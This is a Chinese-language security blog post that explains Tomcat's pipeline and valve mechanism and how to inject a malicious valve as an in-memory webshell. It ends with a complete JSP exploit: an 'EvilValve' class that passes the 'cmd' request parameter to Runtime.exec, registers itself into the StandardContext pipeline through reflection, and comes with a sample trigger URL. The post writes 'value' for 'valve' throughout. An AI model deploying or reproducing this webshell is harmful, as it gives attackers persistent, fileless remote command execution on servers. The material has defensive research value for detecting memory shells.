Tomcat-value内存马

admin 2026-08-08 14:31:51 战队特刊

Tomcat-value内存马

一.什么是value?

tomcat管道机制:

tomcat对来自客户端的请求做处理的时候,请求响应对象会先通过StandardEngine,然后再到StandardHost,紧接着StandContext,最后到StandardWrapper交给servlet,完成整个消息的处理

而消息在每个容器之间流转的时候,需要经过一些阀门处理,而这些阀门就是value,同样有四个基础阀门对应着每个容器,分别是StandardEngineValve,StandardHostValve,StandardContextValue,StandardWrapperValue

而除了这些基础阀门,tomcat是允许开发人员自行添加一些其它的阀门对消息进行相对应的处理(可以理解为对应的业务逻辑)

消息在不同容器之间的流转就是管道pipeline,既然可以人为添加value,那这里就有了可操作性,我们可以添加恶意的value来去进行shell

并且在每个容器的value(s)中,value是以单链表存储的,末端永远都是basic,每次添加新的value都会添加在单链表的前面

二.流程分析

pipeline中会有一个最基础的value,叫做basic,是位于整个value链的最后端也就是最后执行(在业务上面的表现是封装了具体的请求处理和输出响应)

首先我们先去看一Pipeline接口,因为value是Pipeline的一个部分

发现里面就有一个addvalue方法用来添加value

又因为addvalue的实现类是Pipeline,所以我们需要找一个可以获取它的方法

查找用法之后,发现了一个特别熟悉的类StandardContext,导入了这个Pipeline

然后我们就直接在StandardContext里面全局搜索look look~

然后发现getPipeline,字面意思,然后我们跟进去看一下,发现返回的就是一个pipeline

然后我们看一下StandardContext中使用了getPipeline方法的getAuthenticator,这个方法的作用就是遍历pipeline管道中的所有value,当检测到value存在的话,强转成Authenticator输出

所以其实在这里我们能直接调用getPipeline

StandardContext.getPipeline = StandardPipeline; // 二者等价

所以到这里大致流程就已经清楚了:

反射获取StandardContext

编写恶意的value

然后通过StandardContext.getPipeline.addValue将恶意value注册进去

三.最后的exp:

<%--

Created by IntelliJ IDEA.

User: Le'novo

Date: 2025/2/25

Time: 15:58

To change this template use File | Settings | File Templates.

--%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

value内存马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page import="javax.servlet.*" %>

<%@ page import="javax.servlet.annotation.WebServlet" %>

<%@ page import="javax.servlet.http.HttpServlet" %>

<%@ page import="javax.servlet.http.HttpServletRequest" %>

<%@ page import="javax.servlet.http.HttpServletResponse" %>

<%@ page import="java.io.IOException" %>

<%@ page import="java.lang.reflect.Field" %>

<%@ page import="org.apache.catalina.Wrapper" %>

<%@ page import="org.apache.catalina.connector.Request" %>

<%@ page import="org.apache.catalina.valves.ValveBase" %>

<%@ page import="org.apache.catalina.connector.Response" %>

<%

class EvilValve extends ValveBase {

@Override

public void invoke(Request request,Response response)throws IOException ,ServletException{

System.out.println("111");

try {

Runtime.getRuntime().exec(request.getParameter("cmd"));

}catch(Exception e){

}

}

}

%>

<%

Field reqf=request.getClass().getDeclaredField("request");

reqf.setAccessible(true);

Request req=(Request) reqf.get(request);

StandardContext standardContext=(StandardContext) req.getContext();

standardContext.getPipeline().addValve(new EvilValve());

out.println("inject sucess");

%>

然后jsp访问即可执行命令:

http://localhost:8080/servlet_war_exploded/value.jsp?cmd=calc

四:Filter和value的区别:

主要的区别就是作用的地方不一样

value在最一开始的地方就分析了是在StandardEngine,StandardHost,StandardContext,StandardWrapper之间的起到的一个阀门的作用,其实和filter过滤器也差不都

而filter是在servlet里面发挥作用的,一个wrapper是对应一个servlet,而wrapper是四个子容器的最后一步(listener---->filter---->servlet.service)

“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”

“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”